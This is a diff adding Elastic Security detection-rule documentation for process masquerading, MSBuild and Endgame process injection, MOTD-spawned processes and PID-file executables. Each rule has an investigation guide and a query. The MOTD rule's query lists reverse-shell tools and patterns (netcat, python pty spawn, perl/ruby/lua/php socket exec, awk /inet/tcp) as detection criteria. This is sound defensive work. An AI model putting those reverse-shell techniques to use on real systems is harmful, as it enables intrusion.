"?:\\Windows\\Branding\\*.exe", "?:\\Windows\\csc\\*.exe", "?:\\Windows\\DigitalLocker\\*.exe", + "?:\\Windows\\en-US\\*.exe", "?:\\Windows\\wlansvc\\*.exe", "?:\\Windows\\Prefetch\\*.exe", + "?:\\Windows\\Fonts\\*.exe", "?:\\Windows\\diagnostics\\*.exe", "?:\\Windows\\TAPI\\*.exe", + "?:\\Windows\\INF\\*.exe", "?:\\Windows\\System32\\Speech\\*.exe", "?:\\windows\\tracing\\*.exe", + "?:\\windows\\IME\\*.exe", "?:\\Windows\\Performance\\*.exe", "?:\\windows\\intel\\*.exe", + "?:\\windows\\ms\\*.exe", "?:\\Windows\\dot3svc\\*.exe", "?:\\Windows\\panther\\*.exe", + "?:\\Windows\\RemotePackages\\*.exe", "?:\\Windows\\OCR\\*.exe", "?:\\Windows\\appcompat\\*.exe", + "?:\\Windows\\apppatch\\*.exe", "?:\\Windows\\addins\\*.exe", "?:\\Windows\\Setup\\*.exe", + "?:\\Windows\\Help\\*.exe", "?:\\Windows\\SKB\\*.exe", "?:\\Windows\\Vss\\*.exe", + "?:\\Windows\\Web\\*.exe", "?:\\Windows\\servicing\\*.exe", "?:\\Windows\\CbsTemp\\*.exe", + "?:\\Windows\\Logs\\*.exe", "?:\\Windows\\WaaS\\*.exe", "?:\\Windows\\ShellExperiences\\*.exe", + "?:\\Windows\\ShellComponents\\*.exe", "?:\\Windows\\PLA\\*.exe", "?:\\Windows\\Migration\\*.exe", + "?:\\Windows\\debug\\*.exe", "?:\\Windows\\Cursors\\*.exe", "?:\\Windows\\Containers\\*.exe", + "?:\\Windows\\Boot\\*.exe", "?:\\Windows\\bcastdvr\\*.exe", "?:\\Windows\\assembly\\*.exe", + "?:\\Windows\\TextInput\\*.exe", "?:\\Windows\\security\\*.exe", "?:\\Windows\\schemas\\*.exe", + "?:\\Windows\\SchCache\\*.exe", "?:\\Windows\\Resources\\*.exe", "?:\\Windows\\rescache\\*.exe", + "?:\\Windows\\Provisioning\\*.exe", "?:\\Windows\\PrintDialog\\*.exe", "?:\\Windows\\PolicyDefinitions\\*.exe", + "?:\\Windows\\media\\*.exe", "?:\\Windows\\Globalization\\*.exe", "?:\\Windows\\L2Schemas\\*.exe", + "?:\\Windows\\LiveKernelReports\\*.exe", "?:\\Windows\\ModemLogs\\*.exe", + "?:\\Windows\\ImmersiveControlPanel\\*.exe" + ) and + + not process.name : ( + "SpeechUXWiz.exe", "SystemSettings.exe", "TrustedInstaller.exe", + "PrintDialog.exe", "MpSigStub.exe", "LMS.exe", "mpam-*.exe" + ) and + not process.executable : + ("?:\\Intel\\Wireless\\WUSetupLauncher.exe", + "?:\\Intel\\Wireless\\Setup.exe", + "?:\\Intel\\Move Mouse.exe", + "?:\\windows\\Panther\\DiagTrackRunner.exe", + "?:\\Windows\\servicing\\GC64\\tzupd.exe", + "?:\\Users\\Public\\res\\RemoteLite.exe", + "?:\\Users\\Public\\IBM\\ClientSolutions\\*.exe", + "?:\\Users\\Public\\Documents\\syspin.exe", + "?:\\Users\\Public\\res\\FileWatcher.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-injection-by-the-microsoft-build-engine.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-injection-by-the-microsoft-build-engine.asciidoc new file mode 100644 index 0000000000..14d6159623 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-injection-by-the-microsoft-build-engine.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-process-injection-by-the-microsoft-build-engine]] +=== Process Injection by the Microsoft Build Engine + +An instance of MSBuild, the Microsoft Build Engine, created a thread in another process. This technique is sometimes used to evade detection or elevate privileges. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Privilege Escalation +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Injection by the Microsoft Build Engine* + + +The Microsoft Build Engine (MSBuild) is a platform for building applications, often used in software development environments. Adversaries exploit MSBuild to perform process injection, a technique to execute malicious code within the address space of another process, thereby evading detection and potentially escalating privileges. The detection rule identifies suspicious MSBuild activity by monitoring for thread creation in other processes, leveraging Sysmon data to flag potential abuse. + + +*Possible investigation steps* + + +- Review the alert details to confirm that the process name is "MSBuild.exe" and the event action is "CreateRemoteThread detected (rule: CreateRemoteThread)". +- Examine the parent process of MSBuild.exe to determine if it was launched by a legitimate application or user, which could indicate whether the activity is expected or suspicious. +- Check the timeline of events to see if there are any other related alerts or activities around the same time, such as unusual network connections or file modifications, which could provide additional context. +- Investigate the target process where the thread was created to assess its normal behavior and determine if it is a common target for injection or if it has been compromised. +- Analyze the command line arguments used to launch MSBuild.exe to identify any unusual or suspicious parameters that could indicate malicious intent. +- Review the user account associated with the MSBuild.exe process to verify if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Consult threat intelligence sources to check if there are any known campaigns or malware that utilize MSBuild for process injection, which could help in understanding the potential threat actor or objective. + + +*False positive analysis* + + +- Development environments often use MSBuild for legitimate purposes, which can trigger false positives. Users should monitor and establish a baseline of normal MSBuild activity to differentiate between benign and suspicious behavior. +- Automated build systems may frequently invoke MSBuild, leading to false positives. Consider excluding known build server IP addresses or specific user accounts associated with these systems from the detection rule. +- Some legitimate software may use MSBuild for plugin or extension loading, which could appear as process injection. Identify and whitelist these applications by their process hashes or paths to reduce noise. +- Regular updates or installations of software development tools might cause MSBuild to create threads in other processes. Temporarily disable the rule during scheduled maintenance windows to prevent unnecessary alerts. +- Collaborate with development teams to understand their use of MSBuild and adjust the detection rule to exclude known safe operations, ensuring that only unexpected or unauthorized uses are flagged. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate the MSBuild.exe process if it is confirmed to be involved in unauthorized thread creation, using task management tools or scripts. +- Conduct a memory analysis on the affected system to identify and extract any injected code or payloads for further investigation. +- Review and restore any altered or compromised system files and configurations to their original state using known good backups. +- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine the scope of the intrusion. +- Implement application whitelisting to prevent unauthorized execution of MSBuild.exe or similar tools in non-development environments. +- Enhance monitoring and detection capabilities by ensuring Sysmon is configured to log detailed process creation and thread injection events across the network. + +==== Setup + + + +*Setup* + + +This rule requires Sysmon telemetry to be enabled and ingested. + +Setup instructions: https://ela.st/sysmon-event-8-setup + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and + event.provider == "Microsoft-Windows-Sysmon" and + /* CreateRemoteThread */ + event.code == "8" and process.name: "MSBuild.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-injection-detected-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-injection-detected-elastic-endgame.asciidoc new file mode 100644 index 0000000000..25cebc9c94 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-injection-detected-elastic-endgame.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-34-process-injection-detected-elastic-endgame]] +=== Process Injection - Detected - Elastic Endgame + +Elastic Endgame detected Process Injection. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Injection - Detected - Elastic Endgame* + + +Elastic Endgame is a security solution that monitors and detects suspicious activities like process injection, a technique often used by adversaries to execute malicious code within the address space of another process, thereby evading detection. This detection rule identifies such threats by analyzing alerts and specific event actions related to kernel shellcode, indicating potential privilege escalation attempts. By leveraging MITRE ATT&CK frameworks, it effectively flags high-risk activities, aiding analysts in mitigating threats. + + +*Possible investigation steps* + + +- Review the alert details in the Elastic Endgame console by clicking the Elastic Endgame icon in the event.module column or the link in the rule.reference column to gather more context about the detected process injection. +- Examine the specific event.action and endgame.event_subtype_full fields to confirm the presence of kernel_shellcode_event, which indicates potential malicious activity. +- Analyze the process tree and parent-child relationships of the affected process to identify any unusual or unauthorized processes that may have initiated the injection. +- Check for any recent privilege escalation attempts or suspicious activities associated with the affected process by correlating with other alerts or logs in the system. +- Investigate the source and destination IP addresses, if available, to determine if there is any external communication that could suggest a command and control connection. +- Assess the risk and impact of the detected activity by considering the risk score and severity level, and prioritize response actions accordingly. +- If necessary, isolate the affected system to prevent further malicious activity and begin remediation efforts based on the findings. + + +*False positive analysis* + + +- Legitimate software updates or patches may trigger process injection alerts. Users can create exceptions for known update processes by identifying their unique process names or hashes. +- Security tools or monitoring software that use process injection for legitimate purposes might be flagged. Users should whitelist these tools by specifying their process identifiers or paths. +- Custom scripts or automation tasks that interact with system processes could be misidentified as threats. Users can exclude these scripts by defining their execution context or command-line arguments. +- Debugging or development activities involving process manipulation might cause false positives. Users should consider excluding these activities during known development periods or within specific environments. +- Virtualization or sandboxing solutions that mimic process injection techniques for isolation purposes may be detected. Users can create exceptions for these solutions by recognizing their specific signatures or behaviors. + + +*Response and remediation* + + +- Isolate the affected system immediately to prevent further spread of the malicious code. Disconnect it from the network and any shared resources. +- Terminate the malicious process identified by the alert to stop the execution of injected code. Use process management tools to safely end the process. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional threats or remnants of the attack. +- Review and analyze system logs and the specific event details from the alert to understand the scope of the intrusion and identify any other potentially compromised systems. +- Apply security patches and updates to the operating system and all software applications on the affected system to close any vulnerabilities exploited by the attacker. +- Restore the system from a known good backup taken before the incident occurred, ensuring that the backup is free from any malicious code. +- Report the incident to the appropriate internal security team or external authorities if required, providing them with detailed information about the attack and the steps taken for remediation. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:kernel_shellcode_event or endgame.event_subtype_full:kernel_shellcode_event) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-injection-prevented-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-injection-prevented-elastic-endgame.asciidoc new file mode 100644 index 0000000000..5acadc7394 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-injection-prevented-elastic-endgame.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-process-injection-prevented-elastic-endgame]] +=== Process Injection - Prevented - Elastic Endgame + +Elastic Endgame prevented Process Injection. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 2m + +*Searches indices from*: now-1m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Injection - Prevented - Elastic Endgame* + + +Elastic Endgame is a security solution that prevents malicious activities like process injection, a technique often used by adversaries to execute code within the address space of another process, enabling privilege escalation. This detection rule identifies attempts by monitoring alerts for specific kernel shellcode events, indicating potential injection attempts, and helps mitigate threats by leveraging prevention capabilities. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of event.kind:alert and event.module:endgame, ensuring the alert is related to Elastic Endgame's prevention capabilities. +- Examine the event.action and endgame.event_subtype_full fields for kernel_shellcode_event to identify the specific type of process injection attempt. +- Investigate the source process and target process involved in the injection attempt to understand the context and potential impact on the system. +- Check for any associated alerts or logs around the same timeframe to identify if this is part of a larger attack pattern or isolated incident. +- Assess the risk score and severity to prioritize the investigation and determine if immediate action is required to mitigate potential threats. +- Consult the MITRE ATT&CK framework for additional context on the T1055 Process Injection technique to understand common methods and potential mitigations. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger kernel shellcode events. Users can create exceptions for known update processes by identifying their unique process identifiers or paths. +- Security tools or monitoring software that perform deep system scans might mimic process injection behavior. Exclude these tools by specifying their executable names or hashes in the exception list. +- Custom scripts or automation tools that interact with system processes could be flagged. Review these scripts and whitelist them if they are verified as safe and necessary for operations. +- Development environments or debugging tools that inject code for testing purposes may cause alerts. Establish exceptions for these environments by defining rules based on the development tools' signatures or process names. +- Virtualization software that uses process injection techniques for managing virtual machines can be mistakenly identified. Add these applications to the exclusion list by recognizing their specific process attributes. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified by the alert, particularly those associated with the kernel shellcode event, to halt ongoing malicious actions. +- Conduct a thorough analysis of the affected system to identify any additional indicators of compromise or secondary payloads that may have been deployed. +- Restore the affected system from a known good backup to ensure any injected code or malicious modifications are removed. +- Apply security patches and updates to the operating system and all installed software to close any vulnerabilities that may have been exploited. +- Monitor the network and systems for any signs of similar process injection attempts, using enhanced logging and alerting based on the identified threat indicators. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:kernel_shellcode_event or endgame.event_subtype_full:kernel_shellcode_event) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-spawned-from-message-of-the-day-motd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-spawned-from-message-of-the-day-motd.asciidoc new file mode 100644 index 0000000000..a09b983c67 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-spawned-from-message-of-the-day-motd.asciidoc @@ -0,0 +1,259 @@ +[[prebuilt-rule-8-19-34-process-spawned-from-message-of-the-day-motd]] +=== Process Spawned from Message-of-the-Day (MOTD) + +Message of the day (MOTD) is the message that is presented to the user when a user connects to a Linux server via SSH or a serial connection. Linux systems contain several default MOTD files located in the "/etc/update-motd.d/" directory. These scripts run as the root user every time a user connects over SSH or a serial connection. Adversaries may create malicious MOTD files that grant them persistence onto the target every time a user connects to the system by executing a backdoor script or command. This rule detects the execution of potentially malicious processes through the MOTD utility. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#10-boot-or-logon-initialization-scripts-motd + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Process Spawned from Message-of-the-Day (MOTD)* + + +The message-of-the-day (MOTD) is used to display a customizable system-wide message or information to users upon login in Linux. + +Attackers can abuse message-of-the-day (motd) files to run scripts, commands or malicious software every time a user connects to a system over SSH or a serial connection, by creating a new file within the `/etc/update-motd.d/` directory. Files in these directories will automatically run with root privileges when they are made executable. + +This rule identifies the execution of potentially malicious processes from a MOTD script, which is not likely to occur as default benign behavior. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the file that was created or modified from which the suspicious process was executed. + - !{osquery{"label":"Osquery - Retrieve File Information","query":"SELECT * FROM file WHERE path = {{file.path}}"}} +- Investigate whether any other files in the `/etc/update-motd.d/` directory have been altered. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE path LIKE '/etc/update-motd.d/%'"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE path LIKE '/etc/update-motd.d/%'\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services, and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} + + +*Related Rules* + + +- Message-of-the-Day (MOTD) File Creation - 96d11d31-9a79-480f-8401-da28b194608f + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the MOTD files or restore them to the original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and host.os.type == "linux" and event.action in ("exec", "exec_event", "start") and +process.parent.executable like "/etc/update-motd.d/*" and +( + ( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + ( + process.args : ("-i", "-l") or + (process.parent.name == "socat" and process.parent.args : "*exec*") + ) + ) or + ( + process.name : ("nc", "ncat", "netcat", "nc.openbsd") and process.args_count >= 3 and + not process.args : ("-*z*", "-*l*") + ) or + ( + process.name : "python*" and process.args : "-c" and process.args : ( + "*import*pty*spawn*", "*import*subprocess*call*" + ) + ) or + ( + process.name : "perl*" and process.args : "-e" and process.args : "*socket*" and process.args : ( + "*exec*", "*system*" + ) + ) or + ( + process.name : "ruby*" and process.args : ("-e", "-rsocket") and process.args : ( + "*TCPSocket.new*", "*TCPSocket.open*" + ) + ) or + ( + process.name : "lua*" and process.args : "-e" and process.args : "*socket.tcp*" and process.args : ( + "*io.popen*", "*os.execute*" + ) + ) or + (process.name : "php*" and process.args : "-r" and process.args : "*fsockopen*" and process.args : "*/bin/*sh*") or + (process.name : ("awk", "gawk", "mawk", "nawk") and process.args : "*/inet/tcp/*") or + (process.name in ("openssl", "telnet")) or + ( + process.args : ( + "./*", "/boot/*", "/dev/shm/*", "/etc/cron.*/*", "/etc/init.d/*", "/etc/update-motd.d/*", "/run/*", "/srv/*", + "/tmp/*", "/var/tmp/*", "/var/log/*", "/opt/*" + ) and process.args_count == 1 + ) +) and +not ( + process.parent.args == "--force" or + process.args in ("/usr/games/lolcat", "/usr/bin/screenfetch") or + process.parent.name == "system-crash-notification" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-started-from-process-id-pid-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-started-from-process-id-pid-file.asciidoc new file mode 100644 index 0000000000..d85327023e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-started-from-process-id-pid-file.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-process-started-from-process-id-pid-file]] +=== Process Started from Process ID (PID) File + +Identifies a new process starting from a process ID (PID), lock or reboot file within the temporary file storage paradigm (tmpfs) directory /var/run directory. On Linux, the PID files typically hold the process ID to track previous copies running and manage other tasks. Certain Linux malware use the /var/run directory for holding data, executables and other tasks, disguising itself or these files as legitimate PID files. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sandflysecurity.com/blog/linux-file-masquerading-and-malicious-pids-sandfly-1-2-6-update/ +* https://twitter.com/GossiTheDog/status/1522964028284411907 +* https://exatrack.com/public/Tricephalic_Hellkeeper.pdf +* https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Threat: BPFDoor +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Process Started from Process ID (PID) File* + +Detection alerts from this rule indicate a process spawned from an executable masqueraded as a legitimate PID file which is very unusual and should not occur. Here are some possible avenues of investigation: +- Examine parent and child process relationships of the new process to determine if other processes are running. +- Examine the /var/run directory using Osquery to determine other potential PID files with unsually large file sizes, indicative of it being an executable: "SELECT f.size, f.uid, f.type, f.path from file f WHERE path like '/var/run/%%';" +- Examine the reputation of the SHA256 hash from the PID file in a database like VirusTotal to identify additional pivots and artifacts for 